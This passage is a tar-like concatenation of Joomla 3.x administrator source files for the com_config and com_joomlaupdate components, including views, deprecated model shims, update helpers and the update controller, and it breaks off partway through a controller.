 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<ul class="nav nav-list">
	<?php if ($this->userIsSuperAdmin) : ?>
		<li class="nav-header"><?php echo JText::_('COM_CONFIG_SYSTEM'); ?></li>
		<li><a href="index.php?option=com_config"><?php echo JText::_('COM_CONFIG_GLOBAL_CONFIGURATION'); ?></a></li>
		<li class="divider"></li>
	<?php endif; ?>
	<li class="nav-header"><?php echo JText::_('COM_CONFIG_COMPONENT_FIELDSET_LABEL'); ?></li>
	<?php foreach ($this->components as $component) : ?>
		<?php
		$active = '';
		if ($this->currentComponent === $component)
		{
			$active = ' class="active"';
		}
		?>
		<li<?php echo $active; ?>>
			<a href="index.php?option=com_config&view=component&component=<?php echo $component; ?>"><?php echo JText::_($component); ?></a>
		</li>
	<?php endforeach; ?>
</ul>
com_config/view/component/tmpl/default.php000060400000011103152455305270014734 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$app = JFactory::getApplication();
$template = $app->getTemplate();

// Load the tooltip behavior.
JHtml::_('bootstrap.tooltip');
JHtml::_('behavior.formvalidator');
JHtml::_('behavior.keepalive');
JHtml::_('formbehavior.chosen', '.chzn-custom-value', null, array('disable_search_threshold' => 0));
JHtml::_('formbehavior.chosen', 'select');

// Load JS message titles
JText::script('ERROR');
JText::script('WARNING');
JText::script('NOTICE');
JText::script('MESSAGE');

JFactory::getDocument()->addScriptDeclaration(
	'
	Joomla.submitbutton = function(task)
	{
		if (task === "config.cancel.component" || document.formvalidator.isValid(document.getElementById("component-form")))
		{
			jQuery("#permissions-sliders select").attr("disabled", "disabled");
			Joomla.submitform(task, document.getElementById("component-form"));
		}
	};

	// Select first tab
	jQuery(document).ready(function() {
		jQuery("#configTabs a:first").tab("show");
	});'
);
?>

<form action="<?php echo JRoute::_('index.php?option=com_config'); ?>" id="component-form" method="post" name="adminForm" autocomplete="off" class="form-validate form-horizontal">
	<div class="row-fluid">

		<!-- Begin Sidebar -->
		<div class="span2" id="sidebar">
			<div class="sidebar-nav">
				<?php echo $this->loadTemplate('navigation'); ?>
			</div>
		</div><!-- End Sidebar -->

		<div class="span10" id="config">

			<?php if ($this->fieldsets): ?>
			<ul class="nav nav-tabs" id="configTabs">
				<?php foreach ($this->fieldsets as $name => $fieldSet) : ?>
					<?php $dataShowOn = ''; ?>
					<?php if (!empty($fieldSet->showon)) : ?>
						<?php JHtml::_('jquery.framework'); ?>
						<?php JHtml::_('script', 'jui/cms.js', array('version' => 'auto', 'relative' => true)); ?>
						<?php $dataShowOn = ' data-showon=\'' . json_encode(JFormHelper::parseShowOnConditions($fieldSet->showon, $this->formControl)) . '\''; ?>
					<?php endif; ?>
					<?php $label = empty($fieldSet->label) ? 'COM_CONFIG_' . $name . '_FIELDSET_LABEL' : $fieldSet->label; ?>
					<li<?php echo $dataShowOn; ?>><a data-toggle="tab" href="#<?php echo $name; ?>"><?php echo JText::_($label); ?></a></li>
				<?php endforeach; ?>
			</ul><!-- /configTabs -->

			<div class="tab-content" id="configContent">
				<?php foreach ($this->fieldsets as $name => $fieldSet) : ?>
					<div class="tab-pane" id="<?php echo $name; ?>">
						<?php if (isset($fieldSet->description) && !empty($fieldSet->description)) : ?>
							<div class="tab-description alert alert-info">
								<span class="icon-info" aria-hidden="true"></span> <?php echo JText::_($fieldSet->description); ?>
							</div>
						<?php endif; ?>
						<?php foreach ($this->form->getFieldset($name) as $field) : ?>
							<?php
								$dataShowOn = '';
								$groupClass = $field->type === 'Spacer' ? ' field-spacer' : '';
							?>
							<?php if ($field->showon) : ?>
								<?php JHtml::_('jquery.framework'); ?>
								<?php JHtml::_('script', 'jui/cms.js', array('version' => 'auto', 'relative' => true)); ?>
								<?php $dataShowOn = ' data-showon=\'' . json_encode(JFormHelper::parseShowOnConditions($field->showon, $field->formControl, $field->group)) . '\''; ?>
							<?php endif; ?>
							<?php if ($field->hidden) : ?>
								<?php echo $field->input; ?>
							<?php else : ?>
								<div class="control-group<?php echo $groupClass; ?>"<?php echo $dataShowOn; ?>>
									<?php if ($name != 'permissions') : ?>
										<div class="control-label">
											<?php echo $field->label; ?>
										</div>
									<?php endif; ?>
									<div class="<?php if ($name != 'permissions') : ?>controls<?php endif; ?>">
										<?php echo $field->input; ?>
									</div>
								</div>
							<?php endif; ?>
						<?php endforeach; ?>
					</div>
				<?php endforeach; ?>
			</div><!-- /configContent -->
			<?php else: ?>
				<div class="alert alert-info"><span class="icon-info" aria-hidden="true"></span> <?php echo JText::_('COM_CONFIG_COMPONENT_NO_CONFIG_FIELDS_MESSAGE'); ?></div>
			<?php endif; ?>

		</div><!-- /config -->

		<input type="hidden" name="id" value="<?php echo $this->component->id; ?>" />
		<input type="hidden" name="component" value="<?php echo $this->component->option; ?>" />
		<input type="hidden" name="return" value="<?php echo $this->return; ?>" />
		<input type="hidden" name="task" value="" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_config/view/component/tmpl/default.xml000060400000001017152455305270014750 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_CONFIG_COMPONENT_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_CONFIG_COMPONENT_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
	<fields name="request">
		<fieldset name="request" addfieldpath="administrator/components/com_config/model/field">
			<field
				name="component"
				type="configComponents"
				label="JGLOBAL_CHOOSE_COMPONENT_LABEL"
				description="JGLOBAL_CHOOSE_COMPONENT_DESC"
				required="true"
			/>
		</fieldset>
	</fields>
</metadata>
com_config/view/component/html.php000060400000004740152455305270013311 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View for the component configuration
 *
 * @since  3.2
 */
class ConfigViewComponentHtml extends ConfigViewCmsHtml
{
	public $state;

	public $form;

	public $component;

	/**
	 * Display the view
	 *
	 * @return  string  The rendered view.
	 *
	 * @since   3.2
	 *
	 */
	public function render()
	{
		$form = null;
		$component = null;

		try
		{
			$component = $this->model->getComponent();

			if (!$component->enabled)
			{
				return false;
			}

			$form = $this->model->getForm();
			$user = JFactory::getUser();
		}
		catch (Exception $e)
		{
			JFactory::getApplication()->enqueueMessage($e->getMessage(), 'error');

			return false;
		}

		// Bind the form to the data.
		if ($form && $component->params)
		{
			$form->bind($component->params);
		}

		$this->fieldsets   = $form ? $form->getFieldsets() : null;
		$this->formControl = $form ? $form->getFormControl() : null;

		// Don't show permissions fieldset if not authorised.
		if (!$user->authorise('core.admin', $component->option) && isset($this->fieldsets['permissions']))
		{
			unset($this->fieldsets['permissions']);
		}

		$this->form = &$form;
		$this->component = &$component;

		$this->components = ConfigHelperConfig::getComponentsWithConfig();

		$this->userIsSuperAdmin = $user->authorise('core.admin');
		$this->currentComponent = JFactory::getApplication()->input->get('component');
		$this->return = JFactory::getApplication()->input->get('return', '', 'base64');

		$this->addToolbar();

		return parent::render();
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   3.2
	 */
	protected function addToolbar()
	{
		JToolbarHelper::title(JText::_($this->component->option . '_configuration'), 'equalizer config');
		JToolbarHelper::apply('config.save.component.apply');
		JToolbarHelper::save('config.save.component.save');
		JToolbarHelper::divider();
		JToolbarHelper::cancel('config.cancel.component');
		JToolbarHelper::divider();

		$helpUrl = $this->form->getData()->get('helpURL');
		$helpKey = (string) $this->form->getXml()->config->help['key'];
		$helpKey = $helpKey ?: 'JHELP_COMPONENTS_' . strtoupper($this->currentComponent) . '_OPTIONS';

		JToolbarHelper::help($helpKey, (boolean) $helpUrl, null, $this->currentComponent);
	}
}
com_config/models/component.php000060400000001111152455305270012643 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

try
{
	JLog::add(
		sprintf('ConfigModelComponent has moved from %1$s to %2$s', __FILE__, dirname(__DIR__) . '/model/component.php'),
		JLog::WARNING,
		'deprecated'
	);
}
catch (RuntimeException $exception)
{
	// Informational log only
}

include_once JPATH_ADMINISTRATOR . '/components/com_config/model/component.php';
com_config/models/application.php000060400000001117152455305270013152 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

try
{
	JLog::add(
		sprintf('ConfigModelApplication has moved from %1$s to %2$s', __FILE__, dirname(__DIR__) . '/model/application.php'),
		JLog::WARNING,
		'deprecated'
	);
}
catch (RuntimeException $exception)
{
	// Informational log only
}

include_once JPATH_ADMINISTRATOR . '/components/com_config/model/application.php';
com_joomlaupdate/helpers/joomlaupdate.php000060400000001666152455305270014742 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_joomlaupdate
 *
 * @copyright   (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla! update helper.
 *
 * @since  2.5.4
 */
class JoomlaupdateHelper
{
	/**
	 * Gets a list of the actions that can be performed.
	 *
	 * @return  JObject
	 *
	 * @since	2.5.4
	 * @deprecated  3.2  Use JHelperContent::getActions() instead
	 */
	public static function getActions()
	{
		// Log usage of deprecated function
		try
		{
			JLog::add(
				sprintf('%s() is deprecated. Use JHelperContent::getActions() with new arguments order instead.', __METHOD__),
				JLog::WARNING,
				'deprecated'
			);
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		// Get list of actions
		return JHelperContent::getActions('com_joomlaupdate');
	}
}
com_joomlaupdate/helpers/select.php000060400000002326152455305270013527 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_joomlaupdate
 *
 * @copyright   (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla! update selection list helper.
 *
 * @since  2.5.4
 */
class JoomlaupdateHelperSelect
{
	/**
	 * Returns an HTML select element with the different extraction modes
	 *
	 * @param   string  $default  The default value of the select element
	 * @param   string  $name     The name of the form field
	 * @param   string  $id       The id of the select field
	 *
	 * @return  string
	 *
	 * @since   2.5.4
	 */
	public static function getMethods($default = 'hybrid', $name = 'method', $id = 'extraction_method')
	{
		$options = array();
		$options[] = JHtml::_('select.option', 'direct', JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_METHOD_DIRECT'));
		$options[] = JHtml::_('select.option', 'hybrid', JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_METHOD_HYBRID'));
		$options[] = JHtml::_('select.option', 'ftp', JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_METHOD_FTP'));

		return JHtml::_('select.genericlist', $options, $name, '', 'value', 'text', $default, $id);
	}
}
com_joomlaupdate/controllers/update.php000060400000041236152455305270014441 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_joomlaupdate
 *
 * @copyright   (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * The Joomla! update controller for the Update view
 *
 * @since  2.5.4
 */
class JoomlaupdateControllerUpdate extends JControllerLegacy
{
	/**
	 * Performs the download of the update package
	 *
	 * @return  void
	 *
	 * @since   2.5.4
	 */
	public function download()
	{
		$this->checkToken();

		$options['format'] = '{DATE}\t{TIME}\t{LEVEL}\t{CODE}\t{MESSAGE}';
		$options['text_file'] = 'joomla_update.php';
		JLog::addLogger($options, JLog::INFO, array('Update', 'databasequery', 'jerror'));
		$user = JFactory::getUser();

		try
		{
			JLog::add(JText::sprintf('COM_JOOMLAUPDATE_UPDATE_LOG_START', $user->id, $user->name, JVERSION), JLog::INFO, 'Update');
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		$this->_applyCredentials();

		/** @var JoomlaupdateModelDefault $model */
		$model       = $this->getModel('Default');
		$result      = $model->download();
		$file        = $result['basename'];
		$message     = null;
		$messageType = null;

		// The validation was not successful for now just a warning.
		// TODO: In Joomla 4 this will abort the installation
		if ($result['check'] === false)
		{
			$message = JText::_('COM_JOOMLAUPDATE_VIEW_UPDATE_CHECKSUM_WRONG');
			$messageType = 'warning';

			try
			{
				JLog::add($message, JLog::INFO, 'Update');
			}
			catch (RuntimeException $exception)
			{
				// Informational log only
			}
		}

		if ($file)
		{
			JFactory::getApplication()->setUserState('com_joomlaupdate.file', $file);
			$url = 'index.php?option=com_joomlaupdate&task=update.install&' . JFactory::getSession()->getFormToken() . '=1';

			try
			{
				JLog::add(JText::sprintf('COM_JOOMLAUPDATE_UPDATE_LOG_FILE', $file), JLog::INFO, 'Update');
			}
			catch (RuntimeException $exception)
			{
				// Informational log only
			}
		}
		else
		{
			JFactory::getApplication()->setUserState('com_joomlaupdate.file', null);
			$url = 'index.php?option=com_joomlaupdate';
			$message = JText::_('COM_JOOMLAUPDATE_VIEW_UPDATE_DOWNLOADFAILED');
			$messageType = 'error';
		}

		$this->setRedirect($url, $message, $messageType);
	}

	/**
	 * Start the installation of the new Joomla! version
	 *
	 * @return  void
	 *
	 * @since   2.5.4
	 */
	public function install()
	{
		$this->checkToken('get');
		JFactory::getApplication()->setUserState('com_joomlaupdate.oldversion', JVERSION);

		$options['format'] = '{DATE}\t{TIME}\t{LEVEL}\t{CODE}\t{MESSAGE}';
		$options['text_file'] = 'joomla_update.php';
		JLog::addLogger($options, JLog::INFO, array('Update', 'databasequery', 'jerror'));

		try
		{
			JLog::add(JText::_('COM_JOOMLAUPDATE_UPDATE_LOG_INSTALL'), JLog::INFO, 'Update');
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		$this->_applyCredentials();

		/** @var JoomlaupdateModelDefault $model */
		$model = $this->getModel('Default');

		$file = JFactory::getApplication()->getUserState('com_joomlaupdate.file', null);
		$model->createRestorationFile($file);

		$this->display();
	}

	/**
	 * Finalise the upgrade by running the necessary scripts
	 *
	 * @return  void
	 *
	 * @since   2.5.4
	 */
	public function finalise()
	{
		/*
		 * Finalize with login page. Used for pre-token check versions
		 * to allow updates without problems but with a maximum of security.
		 */
		if (!JSession::checkToken('get'))
		{
			$this->setRedirect('index.php?option=com_joomlaupdate&view=update&layout=finaliseconfirm');

			return false;
		}

		$options['format'] = '{DATE}\t{TIME}\t{LEVEL}\t{CODE}\t{MESSAGE}';
		$options['text_file'] = 'joomla_update.php';
		JLog::addLogger($options, JLog::INFO, array('Update', 'databasequery', 'jerror'));

		try
		{
			JLog::add(JText::_('COM_JOOMLAUPDATE_UPDATE_LOG_FINALISE'), JLog::INFO, 'Update');
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		$this->_applyCredentials();

		/** @var JoomlaupdateModelDefault $model */
		$model = $this->getModel('Default');

		$model->finaliseUpgrade();

		$url = 'index.php?option=com_joomlaupdate&task=update.cleanup&' . JFactory::getSession()->getFormToken() . '=1';
		$this->setRedirect($url);
	}

	/**
	 * Clean up after ourselves
	 *
	 * @return  void
	 *
	 * @since   2.5.4
	 */
	public function cleanup()
	{
		/*
		 * Cleanup with login page. Used for pre-token check versions to be able to update
		 * from =< 3.2.7 to allow updates without problems but with a maximum of security.
		 */
		if (!JSession::checkToken('get'))
		{
			$this->setRedirect('index.php?option=com_joomlaupdate&view=update&layout=finaliseconfirm');

			return false;
		}

		$options['format'] = '{DATE}\t{TIME}\t{LEVEL}\t{CODE}\t{MESSAGE}';
		$options['text_file'] = 'joomla_update.php';
		JLog::addLogger($options, JLog::INFO, array('Update', 'databasequery', 'jerror'));

		try
		{
			JLog::add(JText::_('COM_JOOMLAUPDATE_UPDATE_LOG_CLEANUP'), JLog::INFO, 'Update');
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		$this->_applyCredentials();

		/** @var JoomlaupdateModelDefault $model */
		$model = $this->getModel('Default');

		$model->cleanUp();

		$url = 'index.php?option=com_joomlaupdate&view=default&layout=complete';
		$this->setRedirect($url);

		try
		{
			JLog::add(JText::sprintf('COM_JOOMLAUPDATE_UPDATE_LOG_COMPLETE', JVERSION), JLog::INFO, 'Update');
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}
	}

	/**
	 * Purges updates.
	 *
	 * @return  void
	 *
	 * @since   3.0
	 */
	public function purge()
	{
		// Check for request forgeries
		$this->checkToken();

		// Purge updates
		/** @var JoomlaupdateModelDefault $model */
		$model = $this->getModel('Default');
		$model->purge();

		$url = 'index.php?option=com_joomlaupdate';
		$this->setRedirect($url, $model->_message);
	}

	/**
	 * Uploads an update package to the temporary directory, under a random name
	 *
	 * @return  void
	 *
	 * @since   3.6.0
	 */
	public function upload()
	{
		// Check for request forgeries
		$this->checkToken();

		// Did a non Super User tried to upload something (a.k.a. pathetic hacking attempt)?
		JFactory::getUser()->authorise('core.admin') or jexit(JText::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'));

		$this->_applyCredentials();

		/** @var JoomlaupdateModelDefault $model */
		$model = $this->getModel('Default');

		try
		{
			$model->upload();
		}
		catch (RuntimeException $e)
		{
			$url = 'index.php?option=com_joomlaupdate';
			$this->setRedirect($url, $e->getMessage(), 'error');

			return;
		}

		$token = JSession::getFormToken();
		$url = 'index.php?option=com_joomlaupdate&task=update.captive&' . $token . '=1';
		$this->setRedirect($url);
	}

	/**
	 * Checks there is a valid update package and redirects to the captive view for super admin authentication.
	 *
	 * @return  array
	 *
	 * @since   3.6.0
	 */
	public function captive()
	{
		// Check for request forgeries
		$this->checkToken('get');

		// Did a non Super User tried to upload something (a.k.a. pathetic hacking attempt)?
		if (!JFactory::getUser()->authorise('core.admin'))
		{
			throw new RuntimeException(JText::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'), 403);
		}

		// Do I really have an update package?
		$tempFile = JFactory::getApplication()->getUserState('com_joomlaupdate.temp_file', null);

		JLoader::import('joomla.filesystem.file');

		if (empty($tempFile) || !JFile::exists($tempFile))
		{
			throw new RuntimeException(JText::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'), 403);
		}

		$this->input->set('view', 'upload');
		$this->input->set('layout', 'captive');

		$this->display();
	}

	/**
	 * Checks the admin has super administrator privileges and then proceeds with the update.
	 *
	 * @return  array
	 *
	 * @since   3.6.0
	 */
	public function confirm()
	{
		// Check for request forgeries
		$this->checkToken();

		// Did a non Super User tried to upload something (a.k.a. pathetic hacking attempt)?
		if (!JFactory::getUser()->authorise('core.admin'))
		{
			throw new RuntimeException(JText::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'), 403);
		}

		// Get the model
		/** @var JoomlaupdateModelDefault $model */
		$model = $this->getModel('default');

		// Get the captive file before the session resets
		$tempFile = JFactory::getApplication()->getUserState('com_joomlaupdate.temp_file', null);

		// Do I really have an update package?
		if (!$model->captiveFileExists())
		{
			throw new RuntimeException(JText::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'), 403);
		}

		// Try to log in
		$credentials = array(
			'username'  => $this->input->post->get('username', '', 'username'),
			'password'  => $this->input->post->get('passwd', '', 'raw'),
			'secretkey' => $this->input->post->get('secretkey', '', 'raw'),
		);

		$result = $model->captiveLogin($credentials);

		if (!$result)
		{
			$model->removePackageFiles();

			throw new RuntimeException(JText::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'), 403);
		}

		// Set the update source in the session
		JFactory::getApplication()->setUserState('com_joomlaupdate.file', basename($tempFile));

		try
		{
			JLog::add(JText::sprintf('COM_JOOMLAUPDATE_UPDATE_LOG_FILE', $tempFile), JLog::INFO, 'Update');
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		// Redirect to the actual update page
		$url = 'index.php?option=com_joomlaupdate&task=update.install&' . JFactory::getSession()->getFormToken() . '=1';
		$this->setRedirect($url);
	}

	/**
	 * Method to display a view.
	 *
	 * @param   boolean  $cachable   If true, the view output will be cached
	 * @param   array    $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
	 *
	 * @return  JoomlaupdateControllerUpdate  This object to support chaining.
	 *
	 * @since   2.5.4
	 */
	public function display($cachable = false, $urlparams = array())
	{
		// Get the document object.
		$document = JFactory::getDocument();

		// Set the default view name and format from the Request.
		$vName   = $this->input->get('view', 'update');
		$vFormat = $document->getType();
		$lName   = $this->input->get('layout', 'default', 'string');

		// Get and render the view.
		if ($view = $this->getView($vName, $vFormat))
		{
			// Get the model for the view.
			/** @var JoomlaupdateModelDefault $model */
			$model = $this->getModel('Default');

			// Push the model into the view (as default).
			$view->setModel($model, true);
			$view->setLayout($lName);

			// Push document object into the view.
			$view->document = $document;
			$view->display();
		}

		return $this;
	}

	/**
	 * Applies FTP credentials to Joomla! itself, when required
	 *
	 * @return  void
	 *
	 * @since   2.5.4
	 */
	protected function _applyCredentials()
	{
		JFactory::getApplication()->getUserStateFromRequest('com_joomlaupdate.method', 'method', 'direct', 'cmd');

		if (!JClientHelper::hasCredentials('ftp'))
		{
			$user = JFactory::getApplication()->getUserStateFromRequest('com_joomlaupdate.ftp_user', 'ftp_user', null, 'raw');
			$pass = JFactory::getApplication()->getUserStateFromRequest('com_joomlaupdate.ftp_pass', 'ftp_pass', null, 'raw');

			if ($user != '' && $pass != '')
			{
				// Add credentials to the session
				if (!JClientHelper::setCredentials('ftp', $user, $pass))
				{
					JError::raiseWarning(500, JText::_('JLIB_CLIENT_ERROR_HELPER_SETCREDENTIALSFROMREQUEST_FAILED'));
				}
			}
		}
	}

	/**
	 * Checks the admin has super administrator privileges and then proceeds with the final & cleanup steps.
	 *
	 * @return  array
	 *
	 * @since   3.6.3
	 */
	public function finaliseconfirm()
	{
		// Check for request forgeries
		$this->checkToken();

		// Did a non Super User try do this?
		if (!JFactory::getUser()->authorise('core.admin'))
		{
			throw new RuntimeException(JText::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'), 403);
		}

		// Get the model
		/** @var JoomlaupdateModelDefault $model */
		$model = $this->getModel('default');

		// Try to log in
		$credentials = array(
			'username'  => $this->input->post->get('username', '', 'username'),
			'password'  => $this->input->post->get('passwd', '', 'raw'),
			'secretkey' => $this->input->post->get('secretkey', '', 'raw'),
		);

		$result = $model->captiveLogin($credentials);

		// The login fails?
		if (!$result)
		{
			JFactory::getApplication()->enqueueMessage(JText::_('JGLOBAL_AUTH_INVALID_PASS'), 'warning');
			$this->setRedirect('index.php?option=com_joomlaupdate&view=update&layout=finaliseconfirm');

			return false;
		}

		// Redirect back to the actual finalise page
		$this->setRedirect('index.php?option=com_joomlaupdate&task=update.finalise&' . JFactory::getSession()->getFormToken() . '=1');
	}

	/**
	 * Fetch Extension update XML proxy. Used to prevent Access-Control-Allow-Origin errors.
	 * Prints a JSON string.
	 * Called from JS.
	 *
	 * @since   3.10.0
	 *
	 * @return void
	 */
	public function fetchExtensionCompatibility()
	{
		$extensionID = $this->input->get('extension-id', '', 'DEFAULT');
		$joomlaTargetVersion = $this->input->get('joomla-target-version', '', 'DEFAULT');
		$joomlaCurrentVersion = $this->input->get('joomla-current-version', '', JVERSION);
		$extensionVersion = $this->input->get('extension-version', '', 'DEFAULT');

		/** @var JoomlaupdateModelDefault $model */
		$model = $this->getModel('default');
		$upgradeCompatibilityStatus  = $model->fetchCompatibility($extensionID, $joomlaTargetVersion);
		$currentCompatibilityStatus  = $model->fetchCompatibility($extensionID, $joomlaCurrentVersion);
		$upgradeUpdateVersion        = false;
		$currentUpdateVersion        = false;

		$upgradeWarning = 0;

		if ($upgradeCompatibilityStatus->state == 1 && !empty($upgradeCompatibilityStatus->compatibleVersions))
		{
			$upgradeUpdateVersion = end($upgradeCompatibilityStatus->compatibleVersions);
		}

		if ($currentCompatibilityStatus->state == 1 && !empty($currentCompatibilityStatus->compatibleVersions))
		{
			$currentUpdateVersion = end($currentCompatibilityStatus->compatibleVersions);
		}

		if ($upgradeUpdateVersion !== false)
		{
			$upgradeOldestVersion = $upgradeCompatibilityStatus->compatibleVersions[0];

			if ($currentUpdateVersion !== false)
			{
				// If there are updates compatible with both CMS versions use these
				$bothCompatibleVersions = array_values(
					array_intersect($upgradeCompatibilityStatus->compatibleVersions, $currentCompatibilityStatus->compatibleVersions)
				);

				if (!empty($bothCompatibleVersions))
				{
					$upgradeOldestVersion = $bothCompatibleVersions[0];
					$upgradeUpdateVersion = end($bothCompatibleVersions);
				}
			}

			if (version_compare($upgradeOldestVersion, $extensionVersion, '>'))
			{
				// Installed version is empty or older than the oldest compatible update: Update required
				$resultGroup = 2;
			}
			else
			{
				// Current version is compatible
				$resultGroup = 3;
			}

			if ($currentUpdateVersion !== false && version_compare($upgradeUpdateVersion, $currentUpdateVersion, '<'))
			{
				// Special case warning when version compatible with target is lower than current
				$upgradeWarning = 2;
			}
		}
		elseif ($currentUpdateVersion !== false)
		{
			// No compatible version for target version but there is a compatible version for current version
			$resultGroup = 1;
		}
		else
		{
			// No update server available
			$resultGroup = 1;
		}

		// Do we need to capture
		$combinedCompatibilityStatus = array(
			'upgradeCompatibilityStatus' => (object) array(
				'state' => $upgradeCompatibilityStatus->state,
				'compatibleVersion' => $upgradeUpdateVersion
			),
			'currentCompatibilityStatus' => (object) array(
				'state' => $currentCompatibilityStatus->state,
				'compatibleVersion' => $currentUpdateVersion
			),
			'resultGroup' => $resultGroup,
			'upgradeWarning' => $upgradeWarning,
		);

		$this->app = JFactory::getApplication();
		$this->app->mimeType = 'application/json';
		$this->app->charSet = 'utf-8';
		$this->app->setHeader('Content-Type', $this->app->mimeType . '; charset=' . $this->app->charSet);
		$this->app->sendHeaders();

		try
		{
			echo new JResponseJson($combinedCompatibilityStatus);
		}
		catch (Exception $e)
		{
			echo $e;
		}

		$this->app->close();
	}

	/**
	 * Fetch and report updates in JSON format, for AJAX requests
	 *
	 * @return  void
	 *
	 * @since   3.10.10
	 */
	public function ajax()
	{
		$app = JFactory::getApplication();

		if (!JSession::checkToken('get'))
		{
			$app->setHeader('status', 403, true);
			$app->sendHeaders();
			echo JText::_('JINVALID_TOKEN_NOTICE');
			$app->close();
		}

		$model = $this->getModel('default');
		$updateInfo = $model->getUpdateInformation();

		$update   = array();
		$update[] = array('version' => $updateInfo['latest']);

		echo json_encode($update);

		$app->close();
	}
}
com_joomlaupdate/joomlaupdate.xml000060400000002552152455305270013304 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.1" method="upgrade">
	<name>com_joomlaupdate</name>
	<author>Joomla! Project</author>
	<creationDate>February 2012</creationDate>
	<copyright>(C) 2012 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.10.1</version>
	<description>COM_JOOMLAUPDATE_XML_DESCRIPTION</description>
	<media destination="com_joomlaupdate" folder="media">
		<folder>js</folder>
	</media>
	<administration>
		<menu img="class:joomlaupdate">com_joomlaupdate</menu>
		<files folder="admin">
			<filename>config.xml</filename>
			<filename>controller.php</filename>
			<filename>joomlaupdate.php</filename>
			<filename>restore.php</filename>
			<folder>controllers</folder>
			<folder>helpers</folder>
			<folder>models</folder>
			<folder>views</folder>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB.com_joomlaupdate.ini</language>
			<language tag="en-GB">language/en-GB.com_joomlaupdate.sys.ini</language>
		</languages>
	</administration>
	<updateservers>
		<server type="extension" name="Joomla! Update Component Update Site">https://update.joomla.org/core/extensions/com_joomlaupdate.xml</server>
	</updateservers>
</extension>
com_joomlaupdate/controller.php000060400000004026152455305270012770 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_joomlaupdate
 *
 * @copyright   (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla! Update Controller
 *
 * @since  2.5.4
 */
class JoomlaupdateController extends JControllerLegacy
{
	/**
	 * Method to display a view.
	 *
	 * @param   boolean  $cachable   If true, the view output will be cached.
	 * @param   array    $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
	 *
	 * @return  JController  This object to support chaining.
	 *
	 * @since   2.5.4
	 */
	public function display($cachable = false, $urlparams = false)
	{
		// Get the document object.
		$document = JFactory::getDocument();

		// Set the default view name and format from the Request.
		$vName   = $this->input->get('view', 'default');
		$vFormat = $document->getType();
		$lName   = $this->input->get('layout', 'default', 'string');

		// Get and render the view.
		if ($view = $this->getView($vName, $vFormat))
		{
			$ftp = JClientHelper::setCredentialsFromRequest('ftp');
			$view->ftp = &$ftp;

			// Get the model for the view.
			/** @var JoomlaupdateModelDefault $model */
			$model = $this->getModel('default');

			// Push the Installer Warnings model into the view, if we can load it
			static::addModelPath(JPATH_ADMINISTRATOR . '/components/com_installer/models', 'InstallerModel');

			$warningsModel = $this->getModel('warnings', 'InstallerModel');

			if (is_object($warningsModel))
			{
				$view->setModel($warningsModel, false);
			}

			// Perform update source preference check and refresh update information.
			$model->applyUpdateSite();
			$model->refreshUpdates();

			// Push the model into the view (as default).
			$view->setModel($model, true);
